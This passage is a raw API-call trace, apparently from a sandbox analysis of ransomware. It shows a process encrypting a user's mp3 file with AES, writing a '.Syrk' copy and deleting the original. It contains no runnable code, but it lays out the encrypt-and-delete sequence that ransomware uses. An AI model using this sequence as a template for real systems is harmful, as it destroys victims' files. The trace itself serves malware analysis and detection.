(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.688] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.689] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.689] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.689] EtwEventActivityIdControl () returned 0x0 [0242.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.689] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.689] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.689] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.691] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x373568) returned 1 [0242.693] CryptImportKey (in: hProv=0x373568, pbData=0x23f21c0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69180) returned 1 [0242.693] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.694] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.694] EtwEventActivityIdControl () returned 0x0 [0242.694] EtwEventActivityIdControl () returned 0x0 [0242.694] EtwEventActivityIdControl () returned 0x0 [0242.702] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3")) returned 0x20 [0242.703] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3")) returned 0x20 [0242.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0242.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", lpFilePart=0x0) returned 0x45 [0242.703] EtwEventActivityIdControl () returned 0x0 [0242.704] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.704] EtwEventActivityIdControl () returned 0x0 [0242.704] EtwEventActivityIdControl () returned 0x0 [0242.704] EtwEventActivityIdControl () returned 0x0 [0242.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0242.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", lpFilePart=0x0) returned 0x45 [0242.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.706] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0242.706] GetFileType (hFile=0x454) returned 0x1 [0242.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.706] GetFileType (hFile=0x454) returned 0x1 [0242.707] EtwEventActivityIdControl () returned 0x0 [0242.707] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.707] EtwEventActivityIdControl () returned 0x0 [0242.707] EtwEventActivityIdControl () returned 0x0 [0242.707] EtwEventActivityIdControl () returned 0x0 [0242.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0242.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk", lpFilePart=0x0) returned 0x4a [0242.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.708] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0242.709] GetFileType (hFile=0x1d4) returned 0x1 [0242.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.709] GetFileType (hFile=0x1d4) returned 0x1 [0242.709] EtwEventActivityIdControl () returned 0x0 [0242.710] CryptGenRandom (in: hProv=0x373568, dwLen=0x10, pbBuffer=0x2405cb8 | out: pbBuffer=0x2405cb8) returned 1 [0242.711] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.711] CryptDuplicateKey (in: hKey=0x5c69180, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69200) returned 1 [0242.711] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.711] CryptSetKeyParam (hKey=0x5c69200, dwParam=0x4, pbData=0x2406ff0*=0x1, dwFlags=0x0) returned 1 [0242.711] CryptSetKeyParam (hKey=0x5c69200, dwParam=0x1, pbData=0x2406fbc, dwFlags=0x0) returned 1 [0242.712] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.712] EtwEventActivityIdControl () returned 0x0 [0242.712] EtwEventActivityIdControl () returned 0x0 [0242.712] EtwEventActivityIdControl () returned 0x0 [0242.713] EtwEventActivityIdControl () returned 0x0 [0242.713] ReadFile (in: hFile=0x454, lpBuffer=0x2409c2c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2409c2c*, lpNumberOfBytesRead=0x5a2e7d8*=0x131f3, lpOverlapped=0x0) returned 1 [0242.715] CryptEncrypt (in: hKey=0x5c69200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x241dc44*, pdwDataLen=0x5a2e7cc*=0x131f0, dwBufLen=0x131f0 | out: pbData=0x241dc44*, pdwDataLen=0x5a2e7cc*=0x131f0) returned 1 [0242.716] WriteFile (in: hFile=0x1d4, lpBuffer=0x2405da0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2405da0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0242.718] WriteFile (in: hFile=0x1d4, lpBuffer=0x241ec30*, nNumberOfBytesToWrite=0x12204, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x241ec30*, lpNumberOfBytesWritten=0x5a2e7b0*=0x12204, lpOverlapped=0x0) returned 1 [0242.719] ReadFile (in: hFile=0x454, lpBuffer=0x2409c2c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2409c2c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0242.719] CryptEncrypt (in: hKey=0x5c69200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2430e40*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2430e40*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0242.719] CryptEncrypt (in: hKey=0x5c69200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2430e5c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2430e5c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0242.720] WriteFile (in: hFile=0x1d4, lpBuffer=0x2405da0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2405da0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0242.720] CloseHandle (hObject=0x1d4) returned 1 [0242.722] CloseHandle (hObject=0x454) returned 1 [0242.722] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.723] EtwEventActivityIdControl () returned 0x0 [0242.723] EtwEventActivityIdControl () returned 0x0 [0242.723] EtwEventActivityIdControl () returned 0x0 [0242.730] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3")) returned 0x20 [0242.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0242.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", lpFilePart=0x0) returned 0x45 [0242.732] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.733] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.733] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0242.733] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0242.733] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.733] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.733] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0242.733] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0242.733] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.733] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0242.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0242.734] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.734] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0242.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0242.734] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.734] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0242.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0242.735] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.735] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0242.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0242.735] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.735] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", lpFilePart=0x0) returned 0x3c [0242.735] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3")) returned 0x20 [0242.736] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0242.736] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", lpFilePart=0x0) returned 0x45 [0242.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0242.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", lpFilePart=0x0) returned 0x45 [0242.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0242.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0242.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", lpFilePart=0x0) returned 0x45 [0242.739] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0242.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0242.739] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0242.739] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0242.739] CoTaskMemFree (pv=0x5c98368) [0242.742] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3")) returned 0x20 [0242.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0242.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3", lpFilePart=0x0) returned 0x45 [0242.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0242.742] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2440f48 | out: lpFileInformation=0x2440f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac92860, ftCreationTime.dwHighDateTime=0x1d99b52, ftLastAccessTime.dwLowDateTime=0x49434de0, ftLastAccessTime.dwHighDateTime=0x1d99c73, ftLastWriteTime.dwLowDateTime=0x49434de0, ftLastWriteTime.dwHighDateTime=0x1d99c73, nFileSizeHigh=0x0, nFileSizeLow=0x131f3)) returned 1 [0242.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0242.742] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3")) returned 1 [0242.744] EtwEventActivityIdControl () returned 0x0 [0242.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.745] EtwEventActivityIdControl () returned 0x0 [0242.745] EtwEventActivityIdControl () returned 0x0 [0242.745] EtwEventActivityIdControl () returned 0x0 [0242.753] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3.syrk")) returned 0x20 [0242.754] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3.syrk")) returned 0x20 [0242.754] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0242.754] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk", lpFilePart=0x0) returned 0x4a [0242.755] EtwEventActivityIdControl () returned 0x0 [0242.755] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.755] EtwEventActivityIdControl () returned 0x0 [0242.755] EtwEventActivityIdControl () returned 0x0 [0242.755] EtwEventActivityIdControl () returned 0x0 [0242.759] EtwEventActivityIdControl () returned 0x0 [0242.759] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.760] EtwEventActivityIdControl () returned 0x0 [0242.760] EtwEventActivityIdControl () returned 0x0 [0242.760] EtwEventActivityIdControl () returned 0x0 [0242.763] EtwEventActivityIdControl () returned 0x0 [0242.763] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.764] EtwEventActivityIdControl () returned 0x0 [0242.764] EtwEventActivityIdControl () returned 0x0 [0242.764] EtwEventActivityIdControl () returned 0x0 [0242.767] EtwEventActivityIdControl () returned 0x0 [0242.767] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.768] EtwEventActivityIdControl () returned 0x0 [0242.768] EtwEventActivityIdControl () returned 0x0 [0242.768] EtwEventActivityIdControl () returned 0x0 [0242.773] EtwEventActivityIdControl () returned 0x0 [0242.773] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.773] EtwEventActivityIdControl () returned 0x0 [0242.773] EtwEventActivityIdControl () returned 0x0 [0242.773] EtwEventActivityIdControl () returned 0x0 [0242.795] EtwEventActivityIdControl () returned 0x0 [0242.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0242.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\U0af.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\u0af.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x244eae8 | out: lpFileInformation=0x244eae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5edb90, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xc5edb90, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xc613cf0, 